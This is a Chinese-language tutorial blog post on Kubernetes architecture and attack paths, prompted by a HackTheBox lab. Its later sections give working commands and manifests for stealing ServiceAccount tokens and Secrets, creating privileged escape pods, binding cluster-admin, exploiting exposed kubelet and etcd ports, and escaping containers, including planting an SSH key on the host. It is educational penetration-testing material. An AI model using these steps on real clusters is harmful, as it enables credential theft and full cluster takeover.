Kubernetes 安全初探

Kubernetes 安全初探

前言

最近打 HackTheBox 的 Fireflow 这台机子,在最后环节是一个 k8s 的 rce,当时遇到的时候一头雾水,最后是通过 writeup 和 ai 来帮助完成的。之前就有听说过 k8s 相关的内容,所以干脆借这个机会做一个初步认知和学习。

什么,以及为什么

Kubernetes 是 Google 开源的容器编排管理平台,用 Go 语言开发。由于 K 到 s 之间有 8 个字母,因此简称 k8s。一般而言容器场景中主要使用 Docker,但是在实际的运维下,Docker 存在许多问题:

  • 大量容器的场景下,手动部署成本高;且容器崩了不会自动重启,单点故障的维护成本高
  • 需要手动进行流量控制,流量来了要扩容,访问少了要缩容,操作低效
  • 容器 IP 动态变化,难以互相调用,即服务发现困难;
  • 一个容器服务挂了也难以将应用调度在其他机器,缺少负载均衡能力

k8s 出现的意义就是为了解决这些问题,实现自动化的运维操作。当然它并不是 Docker 的替代品。简而言之,Docker 依然负责将打包应用成容器,而 K8s 负责管理成群的 Docker 容器。

K8s 架构

K8s 的整体架构图如下

首先,K8s 将一堆服务器组合在一起,对外当成一整个大系统来用,整个系统由一个控制平面(Control Plane / Master)进行管理。这样由一个控制平面和一组用于运行容器化应用的工作机器组成的系统,称为集群(Cluster)。这些工作机器则称作节点(Node)。每个集群至少需要一个工作节点来运行 Pod。

Control Plane 控制平面

控制平面是集群的大脑,它会为集群做出全局决策,比如资源的调度。控制平面实际上也是一个节点。

它具有以下组件:

  • kube‑apiserver

kube‑apiserver 是整个集群唯一的通信入口,它是 Kubernetes API 服务器的实现,而 API 服务器可以理解为 Kubernetes 控制平面的前端。它暴露 API 和接口来定义、 部署容器和管理容器的生命周期。kubectl、各内部组件、worker 节点全部通过它进行通信。认证鉴权、校验请求在这里进行。它也是唯一可以读写 etcd 的组件。

kube-apiserver 可通过部署多个实例来进行扩缩。 你可以运行 kube-apiserver 的多个实例,并在这些实例之间平衡流量。

  • etcd

etcd 是集群唯一真实数据源。作为强一致分布式 KV 数据库,承担 Kubernetes 所有集群数据。

  • kube-scheduler

即调度器。顾名思义,作用是通过监视新创建的、未指定运行节点的 Pod,结合某些因素和策略来选择合适的节点让 Pod 在上面运行。

  • kube‑controller‑manager

即控制器管理器。从逻辑上讲,每个控制器都是一个单独的进程, 但是为了降低复杂性,它们都被编译到同一个可执行文件,并在同一个进程中运行。这些控制器的作用是通过一个控制循环来调控和纠偏,这个过程一般是:持续 watch apiserver,对比期望状态和实际状态,不一致就采取行动。

举个例子,NodeController(节点控制器)负责在节点出现故障时进行通知和响应。它持续监视 Worker 节点状态,如果 Worker 节点失联宕机,NodeController 会检测到节点 NotReady,并在等待一段容忍时间后,驱逐该节点上所有 Pod,告诉 apiserver 删除这些 Pod 对象,被删除 Pod 对象会被调度器重新调度到别的健康 Worker 节点重建。这也就是 K8s 节点故障自愈能力的来源。

Worker 工作节点

工作节点是集群的执行者,负责维护运行的 Pod 并提供 Kubernetes 运行时环境。Pod 是 K8s 的最小调度单元,一个 Pod 里面可以封装一个或多个紧密耦合的容器。K8s 不直接管理容器,而是管理 Pod。

每个工作节点都运行这两个组件:

  • kubelet

kubelet 是节点代理。它会在集群中每个节点(node)上运行,保证容器(containers)都运行在 Pod 中。

这个流程大概是:监听通过各类机制提供给它的 Pod 规约(PodSpec);调用容器引擎 (docker/containerd) 创建、启停 Pod;上报本节点 Pod 真实运行状态回 apiserver,写入 etcd。其中 PodSpec 是 K8s API 里定义 Pod 期望状态的一种数据结构。

  • kube‑proxy

kube‑proxy 是节点上运行的网络代理。它在每个节点维护 Service 网络规则(iptables/ipvs),实现 Service 负载均衡、集群内部服务访问,把请求转发到后端 Pod。

此外,工作节点往往还具有容器运行时(Container Runtime)。它负责管理 Kubernetes 环境中容器的执行和生命周期,是真正拉镜像、创建、启动、停止容器的底层软件。CRI(Container Runtime Interface)是 kubelet 和容器运行时之间的 gRPC 接口。可以理解为 kubelet 是 CRI 的客户端。只要实现 CRI,kubelet 就可以对接它,实现运行时可插拔。

K8s 通信

K8s 中的通信主要是 apiserver 与其它组件间的通信。Kubernetes 采用的是中心辐射型(Hub-and-Spoke)API 模式。 所有从节点(或运行于其上的 Pod)发出的 API 调用都终止于 API 服务器。 其它控制面组件都没有被设计为可暴露远程服务。

组件间通信

通信协议与组件端口

在中心辐射型模式下,所有组件间的通信都基于 HTTP/HTTPS 协议,以 REST API 的形式进行。apiserver 作为中心,对外暴露 HTTPS 接口,其他组件要么作为客户端主动调用 apiserver,要么作为服务端接收 apiserver 的调用。

每个组件都有自己默认的监听端口:

组件
默认端口
说明
kube-apiserver
6443
HTTPS API,集群的主入口
etcd
2379
客户端读写端口
kubelet
10250
HTTPS API,apiserver 调用它来管理节点上的 Pod
kubelet
10255
只读 HTTP API,无需认证即可读取节点和 Pod 信息
kube-controller-manager
10257
HTTPS 健康检查和指标端口
kube-scheduler
10259
HTTPS 健康检查和指标端口

通信的认证方式主要有三种:客户端证书(x509)、Bearer Token(包括 ServiceAccount Token 和静态 Token)、以及匿名访问。正常配置下,apiserver 和 etcd 都要求客户端证书认证,kubelet 也支持证书和 Token 认证。

apiserver 与 kubelet

apiserver 会主动调用 kubelet 的 10250 端口来执行运维操作,包括获取 Pod 日志、在容器中执行命令(exec)、附加到运行中的容器(attach)、以及把本地端口转发到 Pod(port-forward)。对应的 API 路径形如

/api/v1/namespaces/{namespace}/pods/{Pod名}/log
/exec

kubectl 执行 kubectl logskubectl exec 这类操作时,请求并不是直接发到目标 Pod,而是先发到 apiserver,再由 apiserver 转发到对应节点的 kubelet,最后由 kubelet 操作容器运行时。

kubelet 的 10250 端口默认启用 TLS,认证配置由 kubelet 的启动参数控制,支持客户端证书和 Token 认证。另外 10255 端口是只读的 HTTP 接口,用于获取节点和 Pod 的状态信息。

apiserver 还可以通过代理路径直接访问节点、Pod 和 Service。这种代理能力让 apiserver 充当了集群内部的网关。

# 把请求代理到对应节点的本地端口
/api/v1/nodes/{节点名}/proxy/

# 代理到具体 Pod
/api/v1/namespaces/{ns}/pods/{name}/proxy/

apiserver 与 etcd

apiserver 是唯一可以读写 etcd 的组件。etcd 监听 2379 端口接收客户端请求,apiserver 通过 TLS 加密连接访问它,并使用客户端证书进行双向认证。etcd 中存储了集群的所有数据,包括 Pod、Service、Secret、配置等,因此 etcd 的访问控制极其关键。

正常部署中 etcd 只监听本地地址或仅对 apiserver 开放,不会暴露到集群网络之外。

Pod 间通信与服务发现

K8s 网络模型有一个基本原则:每个 Pod 都有一个独立的集群内 IP 地址,Pod 之间可以直接通过这个 IP 通信,不需要做网络地址转换(NAT)。这意味着无论两个 Pod 在同一个节点还是不同节点上,它们都能像两台独立的机器一样互相访问。

同一个 Pod 内的多个容器共享同一个网络命名空间(namespace),它们拥有相同的 IP 地址和端口空间,彼此之间通过 localhost 就能互相访问。这也是为什么一个 Pod 内的容器不能监听同一个端口——它们共享网络栈。

跨节点的 Pod 通信由 CNI(Container Network Interface,容器网络接口)插件实现,比如 Calico、Flannel、Cilium。CNI 插件负责在节点之间建立网络通道,可能是基于路由的直接转发,也可能是基于 VXLAN 等协议的隧道封装。对于上层应用来说,这些底层实现是透明的,Pod 只需要知道对方的 IP 就能通信。

Pod 的 IP 是不稳定的。Pod 重启、扩缩容、节点故障迁移都会导致 IP 变化,如果服务之间直接写死 Pod IP,一旦 Pod 重建通信就断了。为了解决这个问题,K8s 引入了 Service。

Service 为一组具有相同标签的 Pod 提供一个稳定的虚拟 IP(称为 ClusterIP)和一个固定的 DNS 域名。请求发到 ClusterIP 后会被负载均衡到后端的某个健康 Pod。Service 通过标签选择器(label selector)来确定哪些 Pod 属于它,后端 Pod 列表维护在一个叫 Endpoints 的资源对象中。

负载均衡由每个节点上的 kube-proxy 实现。kube-proxy 持续 watch apiserver 中 Service 和 Endpoints 的变化,然后在节点上维护 iptables 或 IPVS 规则。当一个 Pod 访问另一个 Service 的 ClusterIP 时,请求在到达节点网络栈时就被 kube-proxy 的规则拦截,目标地址被改写为某个后端 Pod 的 IP,然后转发出去。iptables 模式是默认模式,通过内核的 netfilter 规则实现;IPVS 模式基于内核的 IPVS 模块,性能更好,支持更多负载均衡算法。

服务发现由 CoreDNS 完成。CoreDNS 是集群内的 DNS 服务器,它为每个 Service 生成域名记录,格式如下:

<服务名>.<命名空间>.svc.cluster.local

比如 mysql.default.svc.cluster.local 就是 default 命名空间下 mysql 这个 Service 的域名。Pod 内的进程要访问某个服务时,先通过 CoreDNS 解析出 ClusterIP,再发起连接。这样服务之间只需要知道对方的服务名,完全不用关心后端 Pod 的 IP 变化。

ClusterIP 只在集群内部可达。从集群外部的机器无法直接访问 ClusterIP 地址,也无法直接访问 Pod IP。这是 K8s 网络模型的一个基本边界:集群内有自己的地址空间,和外部网络是隔离的。

从外部访问集群

既然 ClusterIP 和 Pod IP 都只在集群内部可达,外部用户要访问集群里的服务就需要通过特定的方式把端口暴露出去。不同暴露方式的可达范围不同。

最直接的是 NodePort。Service 配置为 NodePort 类型后,K8s 会在每个节点上开放一个端口(默认范围 30000-32767),外部用户访问任何一个节点的这个端口,kube-proxy 都会把流量转发到对应的 Service,再到后端 Pod。NodePort 的缺点是端口范围有限,且直接暴露节点端口不够优雅。

更常用的是 Ingress。Ingress 是一套七层路由规则,它可以根据域名和 HTTP 路径把流量分发到不同的 Service。比如 blog.example.com 路由到前端 Service,api.example.com/v1 路由到后端 API Service。但 Ingress 本身只是规则定义,真正执行转发的是 Ingress Controller,比如常见的 Nginx Ingress Controller。外部流量先到 Ingress Controller(通常前面还有一个云厂商的负载均衡器),再由它根据 Ingress 规则路由到后端 Service,最后到达 Pod。

节点到控制面通信与身份认证

集群中有不少应用需要调用 K8s API 来完成工作,比如监控组件需要采集 Pod 状态、CI/CD 工具需要创建 Deployment、各种 Operator 需要 watch 自定义资源。这些应用通常运行在 Pod 中,它们需要一个身份来访问 apiserver。为了解决 Pod 的身份问题,K8s 引入了 ServiceAccount(服务账户,简称 SA)。

每个命名空间下都有一个默认的 ServiceAccount,名字就叫 default。当一个 Pod 没有指定 ServiceAccount 时,就会自动使用这个默认 SA。Pod 启动时,K8s 会把该 SA 的一个令牌(Token)自动挂载到容器内的固定路径:

/var/run/secrets/kubernetes.io/serviceaccount/token

同目录下还有 ca.crt(集群 CA 证书,用于验证 apiserver 身份)和 namespace(当前 Pod 所在的命名空间)。

Pod 内的进程可以读取这个令牌,把它放在 HTTP 请求头的 Authorization 字段中调用 apiserver:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $TOKEN" \
  https://kubernetes.default.svc/api/v1/namespaces/default/pods

其中 kubernetes.default.svc 是 apiserver 在集群内的 Service 域名,它会解析到 apiserver 的 ClusterIP。apiserver 验证令牌有效后,会根据该 SA 绑定的 RBAC 权限来决定允许执行哪些操作。

K8s 安全基础

攻击面分类

前面讲 K8s 通信时提到的每一条通信路径,反过来就是一个潜在的攻击面。按攻击者所处的位置来分,K8s 的攻击面大致有三类:集群外部、集群内 Pod 中、节点上。

处于集群外部时,主要的攻击面是未授权访问的组件端口和暴露的 Dashboard。apiserver 的 6443、kubelet 的 10250、etcd 的 2379 这些端口如果配置不当允许匿名访问,攻击者不需要任何凭证就能直接操作集群。

拿到一个 Pod 的 shell 之后,攻击面就转移到了 Pod 内部。最核心的是 ServiceAccount token——每个 Pod 默认挂载的这个 token 可以用来调用 apiserver,根据权限的不同可以读取 Secret、创建 Pod、甚至提权到集群管理员。此外,Pod 的配置如果存在缺陷(比如特权容器、挂载宿主机目录),还可以进一步逃逸到节点。

逃逸到节点之后,攻击面又扩大了一步。节点上通常有 kubeconfig 文件、组件证书、容器运行时 socket,拿到这些可以横向到其他节点甚至控制面,最终接管整个集群。

一条典型的攻击路径就是从外到内逐层推进:外部暴露端点 → 进入某个 Pod → 读取 SA token → 调用 apiserver 横向移动或权限提升 → 容器逃逸到节点 → 接管集群。后面的章节就按这条路径依次展开。

Pod 内信息收集

实际渗透中最常见的起点并不是外部未授权访问,而是通过应用层漏洞(比如 Web 应用的 RCE)拿到一个 Pod 的 shell。

判断当前环境是否在 K8s Pod 内,最直接的方式是看环境变量和特定目录。如果环境变量中存在 KUBERNETES_SERVICE_HOST,或者存在 /var/run/secrets/kubernetes.io/serviceaccount/ 目录,基本可以确定当前 shell 位于 K8s Pod 内。进一步确认可以看 /proc/1/cgroup,里面如果包含 docker、containerd 或 kubepods 字样,说明在容器内;看 /etc/resolv.conf 的 nameserver,如果是集群 DNS(通常是 10.96.0.10),则进一步确认在 K8s 集群内。

# 判断是否在 Pod 内
env | grep -i kubernetes
ls -al /var/run/secrets/kubernetes.io/serviceaccount/

# 基本信息
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /etc/resolv.conf
hostname
cat /proc/1/cgroup

# 网络信息
ip addr
ss -lntup
cat /etc/hosts

信息收集的结果直接决定下一步的方向。如果 serviceaccount 目录下有 token 文件,说明 Pod 挂载了 SA token,下一步就可以用这个 token 调用 apiserver 枚举权限(见 ServiceAccount 与 RBAC 节)。如果没有 token(说明 Pod 设置了 automountServiceAccountToken: false),则跳过 API 利用,直接检查容器配置是否存在逃逸可能,或者尝试网络层面的横向移动。

ServiceAccount 与 RBAC

ServiceAccount(简称 SA)是 Pod 访问 apiserver 的身份凭证。前面通信章节讲过,每个 Pod 默认会把 SA token 挂载到 /var/run/secrets/kubernetes.io/serviceaccount/token,同目录下还有 ca.crt(集群 CA 证书,用于验证 apiserver 身份)和 namespace(当前 Pod 所在的命名空间)。

拿到 token 之后,先定义一组变量方便后续所有命令复用,然后测试 token 是否可用:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc

# 测试 token 是否可用
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api

返回结果有三种情况:200 说明 token 可用;401 说明 token 无效或已过期;403 说明 token 有效但当前接口权限不足。403 是最常见的情况,不代表没有利用价值,只是需要先搞清楚这个 SA 到底有哪些权限。

枚举权限最准确的方式是调用 SelfSubjectRulesReview 这个 API,它会返回当前 SA 在指定命名空间下的所有权限:

curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -X POST \
  $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
  -d '{
    "apiVersion": "authorization.k8s.io/v1",
    "kind": "SelfSubjectRulesReview",
    "spec": {
      "namespace": "'"$NAMESPACE"'"
    }
  }'

如果 Pod 里恰好有 kubectl,也可以直接用 kubectl auth can-i --list 列出所有权限,加上 -n kube-system 可以查看其他命名空间的权限。

这里需要解释一下 RBAC 是什么。RBAC 全称是 Role-Based Access Control(基于角色的访问控制),是 K8s 的权限控制机制。它的核心概念有两个:Role(角色,定义一组权限,比如能 list pods、能 get secrets)和 Binding(绑定,把角色赋予某个用户或 ServiceAccount)。Role 分命名空间级别的 Role 和集群级别的 ClusterRole,对应的绑定也有 RoleBinding 和 ClusterRoleBinding。cluster-admin 是一个内置的 ClusterRole,拥有集群的所有权限。

枚举完权限之后,根据权限的不同进入对应的利用场景。能 get/list secrets 就去读取 Secret 窃取凭据;能 create pods 就创建恶意 Pod 实现逃逸或提权;能 get nodes/proxy 就通过 apiserver 代理访问 kubelet;能 create clusterrolebindings 就直接绑定 cluster-admin 一步提权。如果权限很低什么都做不了,就转向容器逃逸,尝试从节点上获取更高权限。

常见权限利用

get/list secrets

能读取 Secret 意味着可以获取集群内各种服务的密码、API 密钥和 TLS 证书。需要注意的是,K8s 的 Secret 默认只是做了 base64 编码,并不是加密,读取后直接解码就能拿到明文。

先列出当前命名空间的所有 Secret,需要集群级权限的话可以列所有命名空间的:

# 列出当前命名空间的 Secret
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/secrets

# 列出所有命名空间的 Secret(需要集群级权限)
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/secrets

找到目标 Secret 后读取它的具体内容,返回的 data 字段中每个值都是 base64 编码的:

curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/secrets/SECRET_NAME

解码的方式很简单,用 base64 -d 即可。如果装了 jq,可以直接提取指定字段并解码:

echo "BASE64_VALUE" | base64 -d

# 用 jq 提取并解码 password 字段
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/namespaces/$NAMESPACE/secrets/mysql-secret \
  | jq -r '.data.password' | base64 -d

拿到数据库密码后就可以直接访问对应的数据库服务实现横向移动。如果读到的是其他 ServiceAccount 的 token(很多 Secret 的 type 是 kubernetes.io/service-account-token),还可以切换身份用那个 token 重新枚举权限,说不定能拿到更高权限。

create pods

能创建 Pod 意味着可以部署新的工作负载。这个权限的利用重点不在于创建一个普通的 Pod,而在于能否在 Pod 定义中挂载 hostPath、使用 privileged、指定高权限 SA——这些配置都可能导致容器逃逸或权限提升。

先创建一个普通的测试 Pod 确认权限可用:

cat > test-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
  name: test-pod
spec:
  containers:
  - name: test
    image: alpine
    command: ["sleep", "3600"]
EOF

curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/yaml" \
  -X POST \
  $APISERVER/api/v1/namespaces/$NAMESPACE/pods \
  --data-binary @test-pod.yaml

返回 201 说明创建成功,返回 403 则没有这个权限。Pod 一直 Pending 不代表权限有问题,可能是资源限制或节点污点导致的。

确认能创建 Pod 后,就可以创建带有逃逸配置的恶意 Pod。最常用的是挂载宿主机根目录,创建后 exec 进去就能通过挂载点访问宿主机整个文件系统:

apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  containers:
  - name: escape
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /

除了 hostPath,还可以在 Pod 定义中加入其他危险配置来扩大逃逸面。下面这个 YAML 集中展示了几种常见的危险配置,实际使用时根据环境选择其中一种或组合使用:

apiVersion: v1
kind: Pod
metadata:
  name: evil-pod
spec:
  serviceAccountName: high-priv-sa
  hostNetwork: true
  hostPID: true
  containers:
  - name: evil
    image: alpine
    command: ["sleep", "3600"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /

其中 privileged: true 让容器拥有宿主机所有 capabilities,hostNetworkhostPID 分别共享宿主机的网络和进程命名空间,serviceAccountName 可以指定一个高权限 SA 让 Pod 继承其 RBAC 权限。这些配置对应的具体逃逸方法在工作负载配置风险节有详细说明。

get nodes/proxy

这个权限看起来不如 secrets、pods 直观,但在实际场景中很关键。能访问 nodes/proxy 意味着可以通过 apiserver 的代理能力访问节点上的 kubelet API,不需要直接连节点的 10250 端口。

先列出所有节点拿到节点名称,然后通过代理访问指定节点的 kubelet,列出该节点上的所有 Pod:

# 列出所有节点
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/nodes

# 通过代理访问指定节点的 kubelet
curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/api/v1/nodes/NODE_NAME/proxy/pods

能列出 Pod 说明权限可用。进一步还可以通过代理读取 Pod 日志、获取 Pod 详细信息(包括环境变量、挂载卷等敏感内容),甚至尝试 exec 进容器。这相当于间接获得了 kubelet 的访问能力,可以用来收集更多信息和横向移动。

# 获取节点IP
curl -k -H "Authorization: Bearer $TOKEN" --cacert $CACERT https://10.43.0.1:443/api/v1/nodes/fireflow/proxy/pods

# 使用curl调用exec
curl -k --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  -N \
    "https://kubernetes.default.svc/api/v1/nodes/{nodeName}/proxy/exec/{namespace}/{pod}/{container}?command=id&output=1&error=1"

# 使用websocat调用exec
./websocat --insecure  --header "Authorization: Bearer $TOKEN" --protocol v4.channel.k8s.io 'wss://{hostIP}:10250/exec/{namespace}/{pod}/{container}?output=1&error=1&command=id'

create clusterrolebindings

这是最直接的权限提升方式。能创建 ClusterRoleBinding 意味着可以把某个用户或 ServiceAccount 绑定到更高权限的 ClusterRole,最常见的做法是把当前 SA 绑定到 cluster-admin——K8s 内置的集群最高权限角色,一步到位拿到集群管理员权限。

curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/yaml" \
  -X POST \
  $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
  -d '
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: test-privesc
subjects:
- kind: ServiceAccount
  name: default
  namespace: NAMESPACE
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
'

返回 201 说明创建成功,当前 token 立刻就拥有了集群所有权限,可以读取所有 Secret、创建任意 Pod、访问所有节点。返回 409 说明同名绑定已存在,换个名字重试即可。这个权限通常意味着集群级别的风险。

组件暴露风险

这类风险主要出现在集群外部打点阶段。K8s 的几个核心组件在配置不当时会允许未授权访问,攻击者不需要任何凭证就能直接操作集群。

apiserver 未授权

apiserver 默认监听 6443 端口,正常情况下需要客户端证书或 Token 认证。但如果管理员把匿名用户 system:anonymous 绑定到了高权限角色(比如 cluster-admin),或者开启了旧版本 K8s 中不安全的 8080 HTTP 端口,攻击者就可以直接以匿名身份操作集群。

探测方式很简单,直接用 curl 访问 API 端点,看返回的是数据还是 401:

# 探测匿名访问(6443 HTTPS)
curl -k https://<apiserver-ip>:6443/api/v1/namespaces

# 探测不安全的 HTTP 端口(8080)
curl http://<apiserver-ip>:8080/api/v1/namespaces

返回命名空间列表(200)说明存在匿名访问且匿名用户有权限;返回 401 说明需要认证;返回 403 说明匿名访问被允许但权限不足,这种情况下匿名用户存在但没绑定高权限,可以尝试其他未授权组件。

kubelet 未授权

kubelet 监听 10250(HTTPS API)和 10255(只读 HTTP API)两个端口。前面通信章节讲过,apiserver 通过 10250 调用 kubelet 执行日志、exec 等操作。如果 kubelet 启动时 --anonymous-auth 设为 true,攻击者可以直接通过 10250 列出节点上所有 Pod 并在任意容器中执行命令。10255 是只读端口,不需要认证就能获取节点和 Pod 的详细信息,包括环境变量、挂载卷等内容。

# 10250 列出节点上所有 Pod
curl -k https://<node-ip>:10250/pods

# 10255 只读端口获取节点信息
curl http://<node-ip>:10255/pods

10250 返回 Pod 列表说明存在未授权访问,可以进一步 exec 进容器。10255 返回 Pod 列表说明只读端口暴露,虽然不能执行命令,但泄露的信息足够帮助精准打击。在 10250 未授权的情况下,直接用下面这个 URL 格式就能在指定容器中执行命令:

curl -k "https://<node-ip>:10250/exec/<namespace>/<pod>/<container>?command=id&stdin=1&stdout=1&stderr=1&tty=1"

拿到任意容器的 shell 后,就可以读取 SA token、尝试容器逃逸,转入 Pod 内的攻击流程。

etcd 未授权

etcd 监听 2379 端口,是集群唯一的数据源,存储了所有 Secret、配置和资源状态。正常情况下 etcd 只接受 apiserver 的客户端证书访问,只监听本地地址或仅对 apiserver 开放。如果配置不当允许匿名访问或暴露到网络,攻击者可以绕过 apiserver 的鉴权机制,直接读取甚至修改集群数据。

# 列出所有 key
etcdctl --endpoints=http://<etcd-ip>:2379 get / --prefix --keys-only

# 如果是 HTTPS 且需要证书
etcdctl --endpoints=https://<etcd-ip>:2379 \
  --cacert=ca.crt --cert=client.crt --key=client.key \
  get / --prefix --keys-only

能列出 key 说明 etcd 可访问。最常见的利用是读取所有 Secret,拿到各种服务密码和 SA token:

etcdctl --endpoints=http://<etcd-ip>:2379 get /registry/secrets/kube-system/ --prefix

etcd 未授权是危害最大的外部攻击面之一,因为它绕过了 apiserver 的所有鉴权和审计,直接操作集群的底层数据。

Dashboard 未授权

K8s Dashboard 是 Web 管理界面,如果暴露在公网且配置了跳过登录,或者使用了高权限的 ServiceAccount token 登录,攻击者登录后就能直接在界面上操作集群。Dashboard 通常通过 NodePort(30000+ 端口)或 Ingress 暴露,直接用浏览器访问就能看到登录界面。能跳过登录直接进入管理界面就是未授权访问;如果需要输入 token,则说明有认证,但如果能从其他地方获取到 token 仍然可以登录。

Dashboard 相当于图形化的 kubectl,登录后可以查看所有资源、创建 Pod、读取 Secret,操作和命令行完全等价。

kubeconfig 泄露

kubeconfig 是 kubectl 的配置文件,里面包含集群地址、CA 证书和用户认证凭证(token 或客户端证书)。拿到一个有效的 kubeconfig 就等于拿到了对应用户的集群访问权限,而且可以离线使用,不需要在集群网络内。这类文件经常被误提交到 GitHub 公开仓库、泄露在 CI/CD 日志里、或者放在公开的网盘备份中。

判断一个 kubeconfig 是否有效,直接用它执行命令即可:

kubectl --kubeconfig=./kubeconfig get nodes

能列出节点说明 kubeconfig 有效,接下来的操作权限取决于对应用户的 RBAC 权限。如果是管理员的 kubeconfig,就等于完全接管集群。

工作负载配置风险

拿到一个 Pod 的 shell 之后,如果这个 Pod 的配置存在安全缺陷,攻击者可以利用这些配置突破容器隔离,拿到宿主机节点的 root 权限,这个过程叫做容器逃逸。

privileged

特权容器是最直接的逃逸方式。当容器的 securityContext.privileged 设为 true 时,这个容器几乎拥有宿主机的所有 Linux capabilities,可以访问宿主机的所有设备,seccomp 和 AppArmor 等安全机制也会被放宽。

判断当前容器是否为特权容器,可以查看进程的 capabilities,或者直接尝试访问宿主机设备:

# 查看当前容器的 capabilities
cat /proc/self/status | grep Cap

# 尝试查看宿主机设备
fdisk -l
ls -al /dev/

CapEff 接近全 1(比如 000001ffffffffff),或者 fdisk -l 能看到宿主机磁盘,基本可以确定是特权容器或授予了高权限 capabilities。

特权容器中最经典的逃逸方式是挂载宿主机的根文件系统。先用 fdisk -l 找到宿主机的根分区设备(比如 /dev/sda1),然后把它挂载到容器内的某个目录,再通过 chroot 进入宿主机文件系统:

mkdir /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host /bin/bash

# 此时已经在宿主机上,可以写入 SSH 公钥或定时任务
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys

hostPath

hostPath 允许把宿主机上的某个目录挂载到容器内。如果挂载的是宿主机根目录 /,容器内就能直接读写宿主机的所有文件,不需要像特权容器那样先找设备再挂载。如果挂载了容器运行时的 socket(/var/run/docker.sock/run/containerd/containerd.sock),容器内可以直接控制容器运行时,创建一个新的特权容器并挂载宿主机根目录,间接实现逃逸。

判断是否存在 hostPath 挂载,查看挂载信息或者直接检查常见的危险挂载路径:

mount
cat /proc/self/mountinfo

ls -al /host
ls -al /mnt
ls -al /root
ls -al /var/run/docker.sock
ls -al /run/containerd/containerd.sock

存在 /host 且能看到宿主机目录结构,说明挂载了宿主机根目录,直接通过这个目录读写宿主机文件即可。存在 docker.sock 或 containerd.sock 说明挂载了运行时 socket,可以用 docker 或 ctr 命令创建新的特权容器:

docker -H unix:///var/run/docker.sock run -it --privileged \
  -v /:/host alpine chroot /host /bin/bash

hostPID

hostPID: true 让容器共享宿主机的 PID 命名空间,容器内可以看到宿主机的所有进程。执行 ps aux 如果能看到大量不属于当前容器的宿主机进程(比如 PID 1 是 systemd 或其他宿主机 init 进程),就说明启用了 hostPID。

结合 nsenter 命令可以直接进入宿主机 1 号进程的命名空间,实现逃逸:

nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

hostNetwork

hostNetwork: true 让容器共享宿主机的网络命名空间,容器内可以直接看到宿主机的所有网卡和监听端口。执行 ip addrss -lntup,如果看到的网络接口和监听端口与宿主机一致,说明启用了 hostNetwork。

hostNetwork 本身不直接导致逃逸,但可以访问宿主机本地服务(比如只监听 127.0.0.1 的 etcd)、嗅探宿主机流量获取凭证,结合其他配置可以实现逃逸。

危险 capabilities

即使不是特权容器,如果额外授予了某些危险的 capabilities,也可能实现逃逸。最典型的是 CAP_SYS_ADMIN,它允许执行 mount 等系统管理操作,可以用来挂载 cgroup 或宿主机设备。

查看当前容器有哪些 capabilities,然后解码成具体的能力名称:

cat /proc/self/status | grep Cap
capsh --decode=<CapEff的hex值>

包含 CAP_SYS_ADMIN 属于高风险,可能通过挂载 cgroup release_agent 或宿主机设备实现逃逸,具体利用方式取决于内核版本和其他配置。

网络隔离

默认情况下 K8s 集群中所有 Pod 之间全互通,没有任何网络隔离。NetworkPolicy 是 K8s 提供的原生网络隔离机制,采用白名单模式,可以限制 Pod 间的入站和出站流量。从攻击角度看,NetworkPolicy 会影响横向移动的能力;从防御角度看,它是缩小攻击面的重要手段。需要注意的是,NetworkPolicy 需要 CNI 插件支持才能生效,Flannel 默认不支持,Calico 和 Cilium 支持。

判断目标集群是否存在 NetworkPolicy,如果有权限可以直接列出:

curl --cacert $CACERT \
  -H "Authorization: Bearer $TOKEN" \
  $APISERVER/apis/networking.k8s.io/v1/namespaces/$NAMESPACE/networkpolicies

没有权限的话,可以通过网络连通性测试来间接判断。从一个 Pod 尝试访问另一个 Pod 或 Service 的特定端口:

curl -v --connect-timeout 3 http://<target-pod-ip>:<port>
nc -zv -w 3 <target-pod-ip> <port>

连接超时但 ping 能通,可能是被 NetworkPolicy 拒绝;连接被拒绝(Connection refused)说明目标端口没开服务,不是 NetworkPolicy 的问题;完全无法 ping 通则可能是网络层面不通。

